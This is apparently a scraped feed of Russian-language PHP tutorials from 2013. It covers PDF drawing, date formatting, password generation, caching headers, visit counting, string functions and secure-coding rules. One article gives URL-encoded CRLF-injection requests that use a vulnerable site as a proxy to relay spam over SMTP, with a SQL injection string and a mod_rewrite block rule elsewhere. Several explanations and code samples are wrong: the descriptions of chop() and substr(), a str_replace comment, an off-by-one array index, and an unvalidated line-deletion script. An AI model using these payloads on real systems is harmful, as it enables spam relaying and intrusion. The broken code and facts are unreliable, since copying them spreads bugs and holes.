cpdf_closepath($pdf);
cpdf_fill($pdf);
cpdf_restore($pdf);

/* прорисовка секундой стрелки */
cpdf_setrgbcolor($pdf, 1.0, 0.0, 0.0);
cpdf_setlinewidth($pdf, 2);
cpdf_save($pdf);
cpdf_rotate($pdf, -(($ltime['seconds'] - 15.0) * 6.0));
cpdf_moveto($pdf, -$radius/5, 0.0);
cpdf_lineto($pdf, $radius, 0.0);
cpdf_stroke($pdf);
cpdf_restore($pdf);

/* прорисовка небольшого кружка в центре */
cpdf_circle($pdf, 0, 0, $radius/30);
cpdf_fill($pdf);

cpdf_restore($pdf);

cpdf_finalize_page($pdf, $pagecount+1);
}

cpdf_finalize($pdf);
Header("Content-type: application/pdf");
cpdf_output_buffer($pdf);
cpdf_close($pdf);
?>]]> Sat, 27 Apr 2013 19:14:13 +0300 Форматируем дату, полученную из БД
Код функции довольно простой и при желании его легко изменить для своих нужд. Данная функция позволяет выводит дату в формате ДЕНЬ_НЕДЕЛИ, ЧИСЛО МЕСЯЦ ГОД, например Пятница, 27 января 2006 года.

function format_date_html($mysql_date,$case)
{

$array=explode('-',$mysql_date); //Разбиваем MySQL дату на массив

//Создаем русские названия месяцев для последующей замены
$month['01']='января';
$month['02']='февраля';
$month['03']='марта';
$month['04']='апреля';
$month['05']='мая';
$month['06']='июня';
$month['07']='июля';
$month['08']='августа';
$month['09']='сентября';
$month['10']='октября';
$month['11']='ноября';
$month['12']='декабря';

if($array[2]<10) //Если день месяца меньше десяти, то убераем ноль перед числом
{
$array[2]=str_replace(0,'',$array[2]);
}

$day=date('D',mktime(0,0,0,$array[1],$array[2],$array[0])); //Получаем день недели для данной даты

if($case==2) //Если $case=2, то используем дни недели в винительном падеже
{
$weekday['Mon']='понедельник';
$weekday['Tue']='вторник';
$weekday['Wed']='среду';
$weekday['Thu']='четверг';
$weekday['Fri']='пятницу';
$weekday['Sat']='субботу';
$weekday['Sun']='воскресенье';
}
else //А если нет, то в именительном
{
$weekday['Mon']='Понедельник';
$weekday['Tue']='Вторник';
$weekday['Wed']='Среда';
$weekday['Thu']='Четверг';
$weekday['Fri']='Пятница';
$weekday['Sat']='Суббота';
$weekday['Sun']='Воскресенье';
}

//Возвращаем отформатированную дату
return $weekday[$day] . ', ' . $array[2] . ' ' . $month[$array[1]] . ' ' . $array[0] . ' года';
}]]> Sat, 27 Apr 2013 19:05:12 +0300 Генератор паролей
По этому, хорошим тоном является замена старого пароля на новый, созданный автоматически.

Ниже приведен достаточно простой и интересный способ его создания:

<?
$d=Array("ba", "be", "bo", "di", "du", "do", "de", "ku",
"ka", "ke", "si", "su", "re", "ru", "ro", "ra",
"la", "le", "li", "lo", "ve", "zde", "ka");

$str="";
for ($i=0;$i<rand(3,4);$i++) $str.=$d[rand(0,count($d))];
print $str;
?>

Получаются достаточно интерестные и легко запоминающиеся пароли: Например:

kakamaka
turuda
kamana
sukika
и т.п.]]> Sat, 27 Apr 2013 19:04:49 +0300 Удаление строки из файла
Для начала было бы совсем не плохо создать текстовый файл. Назовём его file.txt, который будет состоять из строк, которые мы будем удалять:

строка один
строка два
строка три
строка четыре
строка пять

Затем создаём что-нибудь типа file.php, занимающий около 11 строк!

<?
if ($id != "") {
$id--;
$file=file("file.txt");

for($i=0;$i<sizeof($file);$i++)
if($i==$id) unset($file[$i]);

$fp=fopen("file.txt","w");
fputs($fp,implode("",$file));
fclose($fp);
}
?>

Сначала определимся, что для удаления определенной строки нам нужен её номер. Его мы будем передавать с идентификатором id: file.php?id=2 (удалим строку под номером ТРИ, так как исчисления элементов в массиве ведётся с нуля, но позже мы это сгладим).

* функция file() считывает весь файл в массив (каждая строка - это его элемент);
* $id-вычитает один из нашего идентификатора, так что 2 становится 2, а 3 - 3;
* unset($file[$i]) удаляет или обнуляет элемент массива (но только из памяти, т. е. виртуально:);
* implode() объединяет массив в одну строку. Это очень важно, так как если бы это опустили, наш файл бы похудел до бесполезной записи Array;]]> Sat, 27 Apr 2013 19:04:29 +0300 Потенциальная уязвимость php-скриптов Предупреждаю ничего нового в этом материале не будет. Несмотря на впечатляющие возможности для злоумышленника, данная уязвимость — просто комбинация общеизвестных свойств php.

В 2002 году параллельно несколькими группами, занимающимися поиском уязвимостей в ПО, была обнаружена серьёзная и мощная уязвимость в php.

В русскоязычном интернете эта уязвимость практически не была освещена. На русскоязычных сайтах по проблемам безопасности мне не удалось найти непосредственного сообщения об этой уязвимости.

Уязвимость: Url fopen wrapper

Для увеличения функциональности и упрощения кодирования, разработчики php сделали такую особенность в функциях fopen, file, include и прочих. Если имя файла начинается с http://, сервер выполнит HTTP-запрос, скачает страницу, и запишет в переменную как из обычного файла. Аналогично работают префиксы "ftp://", "php://" (последний предназначен для чтения и записи в stdin, stdout и stderr). Нужно это было для того, чтобы разработчики сайтов не мучались с библиотеками http-запросов и не писали их вручную. Данная опция отключается в настройках php, параметр allow_url_fopen.

CR/LF в HTTP-запросах

Комбинация символов carriage return и line feed в HTTP-запросе разделяет заголовки. Подробно об этом можно почитать в статье Антона Калмыкова «Генерация HTTP-запросов». Эту комбинацию символов можно передать в GET-запросе в виде "%0D%0A".

Untrusted input

На многих сайтах страницы генерируются скриптом-шаблонизатором. В скрипт перенаправляются все запросы сайта. Из REQUEST_URI берётся имя файла, который надо открыть. Файл считывается, к нему добавляется шаблон с навигацией, шапкой и т.п., и результат выдаётся клиенту.

Нерадивый или неопытный программист запросто может написать открытие файла без проверки данных:

<?php
echo implode("", file(substr($REQUEST_URI, 1)));</php>

От запроса отбрасывается первый символ — слэш — и открывается файл. Злоумышленник легко может вписать в качестве пути к файлу на сервере строку http://example.com: http://n00b.programmer.com/http://example.com Другой вариант — все адреса на сайте имеют вид http://n00b.programmer.com/index.php?f=news В таком случае злоумышленник будет пробовать открыть адрес типа http://n00b.programmer.com/index.php?f=http://example.com Очень важно не доверять входящим данным и фильтровать при помощи регулярных выражений входящие запросы.

Эксплойт

Поскольку в приведённом примере адрес никак не проверяется, в запрос можно вставить строку с HTTP-запросом. Если злоумышленник откроет путь

index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0AHost: +example.com%0D%0AUser-agent:+Space+Bizon%2F9%2E11%2E2001 +%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A

то скрипт выполнит HTTP-запрос:

GET example.com/ HTTP/1.0\r\n
Host: example.com\r\n
User-agent: Space Bizon/9.11.2001 (Windows 67)\r\n
var1=foo&var2=bar\r\n
\r\n
HTTP/1.0\r\n
Host: www.site1.st\r\n
User-Agent: PHP/4.1.2\r\n
\r\n

Последние три строки скрипт добавляет автоматически, но два \r\n перед ними означают конец запроса. Таким образом, незащищённый скрипт можно использовать как прокси-сервер. Зная несколько "дырявых" сайтов, злоумышленник может выстроить из них цепочку, чтобы его было сложнее найти.

Умное использование эксплойта

Если у провайдера, предоставляющего бесплатный демо-доступ, дырявый сайт, можно написать скрипт для домашнего сервера, который бы формировал запросы к такому прокси-серверу и экономил немного денег. Это дело, безусловно, подсудное и наказуемое, но по большому счёту баловство. Более прибыльное использование чужой машины как прокси — рассылка коммерческого спама. Пример из статьи, написанной Ульфом Харнхаммаром:

index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO +my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT +TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+PROCRASTINATE +again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A

(должно быть одной строкой) модуль PHP соединится с сервером mail.example.com по 25 порту и отправит следующий запрос:

GET / HTTP/1.0\r\n
HELO my.own.machine\r\n
MAIL FROM:\r\n
RCPT TO:\r\n
DATA\r\n
i will never say the word PROCRASTINATE again\r\n
.\r\n
QUIT\r\n\r\n

HTTP/1.0\r\n
Host: mail.site1.st:25\r\n
User-Agent: PHP/4.1.2\r\n\r\n

PHP и почтовый сервер будут ругаться, но письмо будет отправлено. Имея такую уязвимость в чьем-то сайте, можно искать закрытый почтовый релей, принимающий от эксплуатируемого веб-сервера почту. Этот релей не будет в чёрных списках провайдеров, и рассылка спама может получиться очень эффективной. На своём сайте я нашёл множество запросов с 25-м портом в пути. Причём до начала этого года таких запросов не было. Раньше о такой уязвимости знали единицы любопытных пользователей, и лишь в прошлом году дыра стала общеизвестной и поставлена на поток спаммерами.

Меры защиты от эксплойта

Вам, как разработчику или владельцу сайта, важно сделать всё возможное, чтобы через ваш сайт никто не смог разослать спам. Если это получится, разослан он будет с какого-нибудь гавайского диалапа, владельцы которого не понимают человеческого языка, а крайним могут сделать именно вас.

Проверка журнала запросов

Для начала полезно ознакомиться со списком уникальных адресов, запрашиваемых с сайта. Это поможет узнать, были ли случаи атак и использования дырки. Обычно спамеры сразу проверяют возможность соединения с нужным им почтовым релеем по 25 порту. Поэтому искать следует строки ":25" и "%3A25".

Настройка php

Самый простой способ отключить возможую уязвимость — запретить открывать URL через файловые функции. Если вы администратор своего сервера — запрещайте allow_url_fopen в настройках php. Если вы просто клиент — запретите у себя локально. В файле .htaccess для корня сайта напишите строку: php_value allow_url_fopen 0 Если вы злой хостинг-провайдер, можете запретить URL fopen wrapper для всех клиентов при помощи директивы php_admin_value. Включение безопасного режима (safe mode) в данном случае не поможет, функция продолжает работать исправно.

Изменение кода

Возможна такая сложная ситуация: вы клиент, а нерадивый админ хостинг-провайдера вписал все установки php в php_admin_value, и поменять их нельзя. Придётся модифицировать код скриптов. Самый простой способ — искать функции fopen, file и include, открывающие файлы из имён переменных. И вырезать функцией str_replace префиксы http:// и ftp://. Впрочем, иногда скрипту, всё-таки, необходимо открывать адреса, которые приходят от пользователя. Например, скрипт-порнолизатор, который вставляет в текст матерки или заменяет текст на ломаный русский язык ("трасса для настайащих аццоф, фсем ффтыкать"). Наверное, больше всего от неряшливого программирования пострадали именно эти сайты. В данном случае вполне можно ограничиться вырезанием "\r\n" из полученной строки. В таком случае злоумышленник не сможет добавить свой собственный заголовок к запросу, который отправляете вы.

Прекращение работы при оффенсивном запросе

Клиент, сканирующий ваш сайт на предмет непроверяемых переменных, создаёт лишний трафик и загружает процессор сервера. Понятно, что ему не нужны страницы, которые генерирует ваш сайт, если они не работают как прокси. Желательно убивать такие запросы ещё до запуска php-интерпретатора. Это можно сделать при помощи модуля mod_rewrite. В файле .htaccess в корне сайта я поставил такую строку:

RewriteRule ((%3A|:)25|%0D%0A) - [G]

При этом предполагается, что на сайте не будут отправляться методом GET формы с многострочным пользовательским вводом. Иначе они будут остановлены этим правилом.

Если вы при помощи mod_rewrite поддерживаете адресацию, удобную для чтения, то скорее всего, двоеточие и CRLF не используются. Поэтому другие строки RewriteRule не будут подходить под сканирующий запрос, и строку, прекращающую обработку запроса, лучше поместить в конце списка правил. Тогда обычные запросы будут переписываться и перенаправляться до этой строки (используйте флаг [L]), что уменьшит время их обаботки. В зависимости от разных условий оно может варьироваться.]]> Sat, 27 Apr 2013 19:04:08 +0300 Десять правил написания безопасного кода на PHP
Избегайте использования переменных сформированных на основании данных пользователя в функции включения файла (include, require) или доступа к файлу (readfile, fopen, file). Например: include($lib_dir . "functions.inc"); include($page); переменные $lib_dir и $page перед этим нужно проверить либо на предмет наличия запрещенных символов, либо сопоставить с заранее определенным массивом допустимых значений:

$valid_pages = array("apage.php" => "", "another.php" => "", "more.php" => "");
if (!isset($valid_pages[$page])) {
die("Invalid request");
}

if (!(eregi("^[a-z_./]*$", $page) && !eregi("\.\.", $page))) {
die("Invalid request");
}

Необходимо экранировать опасные символы (" и ') в переменных участвующих в SQL запросах.Например, злоумышленник может передать переменную вида "password=a%27+OR+1%3Di%271" которая будет использована в SQL запросе как "Password='a' or 1='1'". Решение: включить magic_quotes_gpc в php.ini или экранировать переменные самостоятельно через addslashes();

Никогда не нужно доверять глобальным переменным, при включенном в php.ini режиме register_globals злоумышленник может подменить значение глобальной переменной. Используйте ассоциативные массивы $HTTP_GET_VARS и $HTTP_POST_VARS с выключенным register_globals и в начале скрипта явно инициализируйте все глобальные переменные.

Определяйте местонахождение закаченного файла только через is_uploaded_file() или используя move_uploaded_file(), но не доверяйте глобальной переменной с путем к закаченному файлу, значение которой злоумышленник может подменить.

Используйте функции htmlspecialchars(), htmlentities() для экранирования HTML тэгов присутствующих в данных полученных от пользователя.

Защищайте библиотеки функций от просмотра их исходных текстов пользователем (расширения .inc, .class). Решение: снабжайте библиотеки расширением .php, помещайте в закрытую директорию или настройте хэндлер для парсинга расширения файлов с вашими библиотеками.

Помещайте файлы данных вне дерева файловой системы доступной через web (уровнем ниже htdocs, или "document root") или защищайте директории через .htaccess.

mod_php запускайте в режиме safe_mode.

Проверяйте наличие запрещенных символов в переменные используемых в функциях eval, preg_replace, exec, passthru, system, popen, ``.

При использовании не mod_php, а CGI варианта php.cgi не забывайте, что через php.cgi можно получить доступ к любому файлу в директориях защищенных через .htaccess, так как доступ в этом случае ограничен только для прямых запросов, но не для запросов через CGI скрипт php.cgi.]]> Sat, 27 Apr 2013 19:03:48 +0300 Слежение за контентом на динамических сайтах
Эта статья была задумана и написана благодаря форуму XPoint.

Методы, описанные ниже, не являются личным изобретением автора. Просто он, будучи совсем еще чайником, лично сталкивался с описываемой проблемой и не смог найти толкового материала на предмет ее решения. Решение было найдено путем прочтения десятка статей сколь-нибудь близкой тематики, мученья людей с форума XPoint и недельной ночной баталии с PHP.

Создавая эту статью, автор задался целью помочь менее искушенным людям решить нижеописанную проблему без ущерба для их режима дня.

Внимание: не факт, что Вам все удастся сделать с первого раза за полчаса. Факт, что прежде чем что-то делать, никогда не лишне почитать о том, как это делали другие.

О чем эта статья

Если Вы когда-нибудь занимались созданием динамического сайта, то есть сайта, состоящего не из статичных HTML страничек, а скриптов, взаимодействующих с разными файлами и базами данных, Вы наверняка сталкивались (а если нет, то еще столкнетесь) с такими проблемами:

* «правильное» кэширование;
* «правильные» HTTP заголовки


Поясняю первый пункт. Кэширование — механизм, позволяющий клиенту (то есть пользователю на том конце соединения, точнее — его браузеру, для пользователя этот процесс незаметен) при просмотре одних и тех же файлов (например, картинок, составляющих элементы дизайна сайта, или файлов стилей CSS) не скачивать их каждый раз заново, а скачивать только однажды, а затем, по мере необходимости, использовать сохраненную на компьютере клиента копию. Принцип его работы примерно таков: при возникновении очередной необходимости скачать файл клиент обращается к серверу с запросом, не был ли файл изменен (не устарела ли копия на машине клиента), и если нет, не скачивает его заново, а использует сохраненный вариант. В браузерах, точно придерживающихся спецификации протокола HTTP, можно также добиться того, что запросы вообще не будут посылаться каждый раз, если есть сохраненная копия файла и точно известно, что она не успела устареть. Прелесть в том, что трафик (объем скачанных из Интернет данных) клиента уменьшается, и пользователь видит, что «сайт работает быстро». Естественно, уменьшается и трафик сервера, что позволяет снизить нагрузку на сервер и даже сэкономить, если Вы пользуетесь платным хостингом.

Проблема состоит в том, что данный механизм для страниц динамического сайта сам собой работать не будет, его надо построить (тогда как для статичных страниц и картинок серверы обычно могут полностью автоматизировать процесс). Построение системы осуществления «правильного кэширования» описано далее, в разделах Теория и Практика.

Поясню теперь пункт второй. Когда клиент запрашивает у сервера файл по протоколу HTTP, он, кроме содержимого самого файла (код в случае HTML файла, текст в случае текстового файла и т.п.), получает также HTTP headers — заголовки HTTP. Это служебные текстовые поля с информацией, которая не отображается в браузере, но интерпретируется им и, в основном, служит для сообщения клиенту данных о запрашиваемой странице.

Заголовок ETag («объектная метка»), например, служит для присвоения каждой странице уникального идентификатора, который остается неизменным, пока страница не модифицирована, и изменяется, если изменились данные на странице. Этот заголовок сохраняется на клиенте, и в случае необходимости повторного скачивания «меченой» страницы позволяет браузеру обращаться к серверу с запросом 'If-None-Match' — в таком случае сервер должен по значению ETag-метки сохраненной на клиенте копии определить, не устарела ли она, и если нет, ответить кодом '304 Not Modified' («не модифицировано»), и страница не будет скачена еще раз.

Заголовок Last-Modified («последнее изменение») предназначен для того, чтобы сообщить клиенту дату и время, когда последний раз изменилась запрашиваемая страница. Используя его, клиент, подобно случаю с ETag, может обращаться к серверу с запросом 'If-Modified-Since' — в этом случае сервер должен сравнить дату последней модификации копии, сохраненной на клиенте, с актуальной датой последней модификации. Если они совпадут, это значит, что копия в кэше клиента не устарела, и повторное скачивание не нужно (код ответа '304 Not Modified'). Last-Modified также необходим для корректной обработки Вашего сайта роботами - спайдерами (спайдер, англ. «паук» — это робот, который ходит по паутине Интернета и индексирует сайты, чтобы их можно было найти через поисковые системы, например, Google), которые используют информацию о дате модификации страниц в целях сортировки результатов поиска по дате, а также для определения частоты обновляемости Вашего сайта (см. например, что об этом пишет Яndex).

Какой из этих методов определения «свежести» интернет-страниц использует клиент (и использует ли он их вообще), зависит от его возможностей и настроек. По хорошему, надо отправлять оба этих заголовка с каждым файлом, отданным Вашим сервером.

Есть еще заголовок Expires («истечение») — он сообщает браузеру, какой временной промежуток можно считать, что копия страницы в кэше свежа, и вообще не обращаться к серверу с запросами. Это удобно для таких файлов, о которых вы точно знаете, что они не изменятся ближайший час/день/месяц: фоновая картинка страницы, например. К сожалению, поддерживается не всеми браузерами. В рассматриваемом примере Expires будет равен десяти минутам, что подходит для большинства сайтов, на которых информация обновяется не слишком часто (~ раз в час).

Чтобы реализовать отправку «правильных» HTTP заголовков страницами Вашего сайта, надо как-то определять, когда модифицируются эти страницы. Проблема состоит в том, что в отличие от ситуации со статичными HTML файлами, когда дата модификации файла и его содержимого это одно и тоже, динамические страницы могут менять свое содержимое в зависимости от предусмотренных разработчиком внешних факторов (время суток, запрос пользователя, импорт данных из БД) без изменения файла скрипта. То есть дата модификации файла и информации, которую он отсылает клиенту, запросто могут не совпадать. Другая проблема, вытекающая из предыдущей, заключается в том, что часто на динамических сайтах на каждую страницу ставят голосование, "шутку дня" или баннерокрутилку, код которых меняется при каждой следующей загрузке. То есть надо смотреть не на всю сгенерированную страницу, а только на ту ее часть, которая несет основную информацию — текст статьи, прайс-лист и т.п.

На первый взгляд все очень сложно и непонятно, но пугаться не стоит, потому как система, которая будет рассмотрена далее, достаточно проста. Сложнее понять то, что нам нужно сделать, чем то, как.

Теория

Для решения вышеописанных проблем необходимо:

1. "Отловить" со страницы ту часть контента, за которой мы "следим";
2. Сравнить то, что получилось, с тем, что получилось в прошлый раз — для этого использовать БД, где и хранить информацию о страницах;
3. В случае модификации данных — обновить информацию о странице в БД;
4. Отослать клиенту HTTP заголовки в зависимости от его запроса.


Сделать это можно разными способами. Мы будем рассматривать систему, написанную на языке PHP, так как этот язык сейчас популярен, довольно прост для понимания и поддерживается большинством хостингов, в том числе и бесплатными. Данные мы будем хранить в БД MySQL по тем же причинам.

Итак, что там у нас там, на сайте? Динамические страницы, то есть PHP скрипты. Как функционирует эта «динамика»? Если сайт у Вас небольшой, то, скорее всего, у Вас под каждую страницу существует свой скрипт: index.php – для главной страницы, news.php для страницы новостей и т.п. Если же сайт у Вас выходит за рамки «домашней странички» и имеет сложную структуру, свой форум или пользовательскую зону, построен с использованием баз данных, то, вероятно, одним скриптом типа showpage.php генерируются сотни концептуально различных страниц (например, страницы форума генерирует один скрипт, но страницы-то разные, и надо следить за каждой отдельно). Первый случай проще для рассмотрения, хотя, если Вы поймете суть предлагаемой системы, Вы сможете без особых проблем интегрировать ее и на сайте, описанном во втором случае. А мы рассмотрим случай первый.

Чего надо «избежать» при «отлове» контента? Баннеров, счетчиков и всего, что написано в меню. Это не принципиально — Вы сами решаете, какой объем информации, отдаваемой Вашими скриптами, будет использоваться для определения их модификации.

Если «нужная» информация и «ненужные» примочки выводятся разными функциями, то все «нужное» можно просто забить в одну переменную. Что-нибудь вроде этого:

<?php

// Это – только кусок гипотетического PHP файла.
// Он не имеет никакого смысла, и используется только как пример.

include 'settings.inc.php'; // Подключаем какие-нибудь настройки, модули, классы и т.п.
print page_header(); // Выводим шапку – нам она не нужна;
print banners(); // Показываем баннеры – аналогично;

print $contentmonitoring_var = main_info(); // Показываем "основную" информацию;
// это как раз то, что нам нужно - кладем данные в переменную $contentmonitoring_var

print $temp = info2(); // Еще какая-нибудь нужная информация;
$contentmonitoring_var .= $temp; // добавляем данные в ту же переменную

print something_other(); // Не то;
print page_footer(); // Опять не то...

?>

Если Ваш сайт слишком громоздкий и сложный для такой модификации, есть более простой выход: буферизация вывода, стандартная функция PHP (Когда буферизация вывода активна, все, что генерирует скрипт, не высылается клиенту, а сохраняется во внутреннем буфере.) То, что попало в буфер, можно положить в переменную и работать с этими данными, как с обычной строковой переменной, а потом отослать клиенту. Тогда Вам необходимо просто найти в коде начало и конец того куска выводимой информации, которую надо проверять, и маркировать этот кусок HTML-комментариями. Для этого перед началом вывода интересующей нас информации надо вставить строчку

<!--content-->

а после — строчку

<!--/content-->

Учитывайте только, что буферизация может притормаживать Ваши скрипты, если они выводят большие объемы информации (по несколько мегабайт), а также не позволяет выводить информацию порциями по мере выполнения скрипта — данные будут отосланы клиенту только после того, как будет выполнен весь скрипт (для небольших скриптов это не страшно).

Теперь мы отделили «мух от котлет» и информация, которую будем «контент-мониторить», заключена у нас между HTML-комментариями. Остается включить буферизацию, в конце скрипта взять данные из буфера, выловить оттуда часть кода между комментариями, и обработать его на предмет модификации. По результатам этой обработки, а также в зависимости от запроса клиента, отослать HTTP заголовки. Все это будет делать скрипт, который надо подключить ко всем Вашим скриптам. Делается это так: в начале каждого файла, сразу после строчки <?php вставляем код

ob_start(); // Слежение за контентом – запускаем буферизацию.

а в конце, перед строчкой ?> код

include_once('content_monitoring.inc.php'); // Слежение за контентом – подключаем исполняемый скрипт.

Первая строчка запускает буферизацию, чтобы можно было работать с тем, что генерирует скрипт, а вторая подключает скрипт, который работает с тем, что нагенерировала страница, откуда его подключили. Он проверяет, не модифицировалась ли она, и отсылает HTTP заголовки.

Вот и вся теория, в общем-то. Добавлю еще, что данную систему можно расширить — например, сюда же можно присовокупить счетчик посещений. Но это уже выходит за рамки тематики данной статьи.]]> Sat, 27 Apr 2013 19:03:29 +0300 Создание системы учета посещений
Причин две. Во-первых, "внешняя" система статистики создают ощутимую задержку в загрузке страницы. Во-вторых, одному интересно узнать больше о графической системе пользователя, другому - о версиях браузера, а третьему - время проведенное пользователем на его сайте. Но, как оказывается, одна система дает инормацию о графической системе, вторая - о времени посещений, третья - вообще, не дает такой инормации, зато наиболее точно считает количество посетителей. Что делать? Вот и начинаем мы с вами ставить на страницу один, два, а потом и все пять счетчиков, после чего, время загрузки полезной информации составит не более 10% от времени загрузки сайта. Это приведет к тому, что посетитель плюнет и уйдет (интернет-то большой) или информации о нем не попадет в системы статистики. Вот тут-то мы и приходим к осознанию того, что система нужна своя.

Какие преимущества это дает? Во-первых, скорость загрузки. Цифры статистики можно вывести текстом, что не задержит загрузку, а обработка статистики будет производится на том же сервере, что и страница, что не внесет дополнительных задержек на установление связи с удаленным сервером. Во-вторых, такая система, изначально, будет соответствовать нашим запросам. Хотим - будем учитывать параметры графической системы пользователей, хотим - будем считать, сколько раз пришел за последние 15 секунд Вася Пупкин. В-третьих, так как такая система является неотъемлемой частью сайта, то не будет потеряно ни одного хита!

Здесь я не буду приводит конкретных скриптов, потому, что это будет очень громоздко, да и не нужно, вы, ведь, пришли разобраться во всем этом? Я изложу только основные принципы.

Для реализации подобной системы я использовал слудующее программное обеспечение:

Базы данных: mySQL
Скрипт: PHP
Вебсервер: Apache.

Сначала определимся, какие параметры мы хотим учитывать. Для себя я считаю важным знать, сколько пользователей пришло на сайт, сколько хитов они принесли, какие страницы посетили и откуда пришли и время каждого хита.

Из этих данных можно вывести довольно много статистической информации. Так что этот аскетичный набор меня вполне устраивает. Исходя из этого, я создал три таблицы в базе данных:

hits: Хранит подробную информацию о хитах за текущий день. Содержит следующие поля:

Имя Комментарий
host буквенное имя домена пользователя
addr IP адрес пользователя
referer ссылка, по которой пришел пользователь
page на какую страницу сайта пришел пользователь
timest время хита.

hitsbypage: хранит инормацию за весь период по посещениям страниц сайта. Содержит следующие поля:

Имя Комментарий
page страница
hits количество хитов
hosts количество хостов

referers: хранит информацию о ссылках, по которым приходят на сайт. Содержит следующие поля:

Имя Комментарий
href собственно, ссылка
hits количество посещений с этой ссылки

hitsbydate: хранит информацию о хитах и хостах по дням. Содержит следующие поля:

Имя Комментарий
date дата
hits количество хитов
hosts количество хостов

Возникает вопрос, откуда взять все эти данные? Вебсервер, при установлении сеанса устанавливает определенные переменные среды, которые доступны из скриптов на языке PHP. Прежде всего нас интересуют следующие:

Переменная Значение
$REQUEST_URI адрес запрашиваемой страницы
$REMOTE_HOST домен пользователя (если установлен)
$REMOTE_ADDR IP адрес пользователя
$HTTP_REFERER Ссылка, по которой пришел пользователь (если таковая была, т.е. пользователь не набрал адрес сайта в браузере или выбрал из списка избранных сайтов)

Теперь рассмотрим логику работы самой системы. Проверяем, не является ли значение поля $HTTP_REFERER новым (не содержится в таблице referers). Если новое, то добавляем его в нужную таблицу и устанавливаем количество хитов для него в 1. Если такая ссылка уже была, то, просто, увеличиваем количество хитов.

Аналогичным образом проверяем адрес запрашиваемой страницы.

Далее проверяем, были ли хиты сегодня. Если хитов небыло, значит, начался новый день и это первое посещение сегодня. Следовательно, удаляем все данные из таблицы hits, так как хранить всю информацию в ней нерентабельно. Затем вносим новую дату в таблицу hitsbydate и устанавливаем количество хитов и хостов для данной даты в 1. Если же новый день еще не наступил, то, проверив, не является ли IP адрес уникальным на сегодня, увеличиваем поля hits и hosts в таблице hitsbydate.

И, наконец, заносим информацию в таблицу hits.

Вот и все. Вся необходимая информация хранится в базах на сервере и доступна в любой момент для проведения дальнейшего статистического анализа.]]> Sat, 27 Apr 2013 18:59:38 +0300 Обработка строк в РНР
Откуда и как можно получить символьнуюпоследовательность? В самом простомслучае – присвоить ее нужной переменной.Другие варианты – получить из формы илииз файла. Если Вы присваиваетепеременной нужное значение, то оно, какправило, не нуждается в обработке, таккак программист делает присвоение вкоде программы, и конечно, в нужном виде.Но если строка считывается из файла, илиполучается посредством формы, она (символьнаястрока) нуждается в обработке.

Самое первое, что стоит сделать, это удалить повторяющиеся пробелы. Дляэтого в РНР есть специальная функция: chop(str);
Пример ее записи:

$str = chop ($str);

В результате, обработанное значениестроки $str не будет содержатьповторяющихся пробелов. Если нужноубедиться в том, что строка не содержитпробелов в начале и в конце, применяетсяфункция trim(str); ( $str = trim ($str); ). Когдатребуется удалить пробелы только сначала строки, нужно использовать ltrim. Иесли уж зашла речь о начале строки,давайте убедимся, что первый символзаглавный. Что бы сделать его таковым,примените ucfirst(str); Есть и функция дляперевода во всех словах в строке ихпервых букв в заглавные - ucwords(str);. Крометого, очень часто бывает необходимосравнить строку с некоторым шаблоном.Частный случай – поиск в строке (о немнесколько позже). Но нет никакойгарантии, что полученная строка введенапользователем или получена из файла всоответствии с правилами правописания.Другими словами – строка можетсодержать в середине слова илипредложения чередующиеся заглавные ипрописные символы. Решение даннойпроблемы – в применении функций strtolower(str);и strtoupper(st);. Эти функции, соответственно,переводят символьные строки в нижний иверхний регистр. Комбинирование данныхвозможностей языка РНР приводит ккорректному построению строки независимо от того, как она была введенаили получена в начальном виде.

Еще одна необходимая вещь при работе состроками – их обрезка. Часто онаприменяется при обработке форм дляввода данных. Представьте, что кто-нибудьиз Ваших «доброжелателей» введет в Вашугостевую книгу текст этой статьи.Представляете, что получится? Вот дляэтого и нужно ограничить количествовводимых символов в любом поле формы.Тем более что делается это очень просто.Для начала, нужно прописать ограничениев самой форме:

<input maxlength="100" name="form">

Теперь форма с именем form ограничена вколичестве вводимых символов числом 100.Но это еще далеко не все. Дело в том, чтообойти такое ограничение очень просто, инужно оно скорее для того, что быпоказать посетителю предел ограничения.Дальше нужно воспользоваться функциейРНР $form =substr($form,0,99);. Этим вы простоотрезаете часть полученной строки,превышающую 100 символов (стоит цифра 99,так как счет символов начинается с нуля).Теперь все потуги Ваших знакомыхзавалить Вас информацией будут тщетны,так как Ваш умный скрипт не пропуститбольше определенного Вами количествасимволов.

Собственно говоря, у функции substr(string, start,length); совсем другое предназначение. Онавозвращает часть строки string,определяемую параметрами start (начало) иlength (длина). Если параметр startположительный, то возвращаемая строкабудет начинаться с start-ого символастроки string.
Примеры:

$form = substr("abcdef", 1); // вернет "bcdef"
$form = substr("abcdef", 1, 3); // вернет "bcd"

Если параметр start отрицательный, товозвращаемая строка будет начинатьсяstart-ого символа от конца строки string.
Примеры:

$rest = substr("abcdef", -1); // вернет "f"
$rest = substr("abcdef", -2); // вернет "ef"
$rest = substr("abcdef", -3, 1); // вернет "d"

Если параметр length указан и онположительный, то возвращаемая строказакончится за length символов от начала start.Это приведет к строке с отрицательнойдлиной (потому что начало будет законцом строки), поэтому возвращаемаястрока будет содержать один символ отначала строки start. Если length указан и онотрицательный, то возвращаемая строказакончится за length от конца строки string.Это опять приведет к строке сотрицательной длиной, поэтомувозвращаемая строка будет содержатьодин символ от начала строки start.
Примеры:

$rest = substr("abcdef", -1, -1); // вернет "bcde"

Вот такая полезная функция. Кроме нее,при обработке данных формы очень важноуметь вырезать из полученной строкилишние или просто недопустимые символы.Можно в этом случае применитьспециальную функцию, которая заменяетвсе вхождения строки needle в строке haystackна указанную строку str. Эта функциязаписывается так: str_replace(needle, str, haystack);.Если вам не требуются причудливыеправила замены, то вам следует всегдаиспользовать эту функцию вместо ereg_replace().
Примеры:

$str = str_replace("", "\n", $str); //вырезается символ ввода.
$str = str_replace("red", "black", $str); // встроке черный цвет будет заменен накрасный.

